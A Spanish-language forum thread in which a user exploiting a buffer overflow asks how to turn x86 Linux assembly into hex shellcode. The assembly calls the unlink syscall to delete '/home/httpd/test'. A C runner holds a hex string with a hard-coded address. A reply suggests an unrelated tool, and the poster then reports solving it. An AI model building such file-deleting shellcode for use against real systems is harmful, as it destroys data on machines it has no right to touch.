[SOLUCIONADO] Shellcode to HEX

Iniciado por GGZ, Enero 26, 2017, 07:48:58 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 26, 2017, 07:48:58 PM Ultima modificación: Enero 29, 2017, 06:06:07 PM por Gabriela
Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código: asm
.section .data
__archivo:
.asciz "/home/httpd/test"  # Archivo a eliminar.

.section .text
.global main
main:
        movl $10, %eax     
        movl $__archivo, %ebx   
        int  $0x80

        movl %eax, %ebx   
        movl $1, %eax     
        int  $0x80


Quiero pasar este código asm que borra un archivo a C tipo:

Código: c

char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";

int main (void){

        int (*func)();
        func = (int (*)())sc;
        (int)(*func)();
}



Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.

HOLA!!!

Podes pasarlo a HEX usando MPLAB IDE que descargas gratis de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como hacerlo:



GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Enero 27, 2017, 03:31:52 PM #2 Ultima modificación: Enero 28, 2017, 12:38:17 AM por GGZ
No, es ASM de GNU/Linux

Con gcc as.s -o a y luego objdump -d a pero no me guarda las strings, va después lo pienso seguro me sale solo.
Cualquier ASM se puede pasar a HEX porque cada instrucción tiene un número hex que le corresponde a cada instrucción pero mi duda es con las variables.

Gracias igual.


Ya lo solucioné.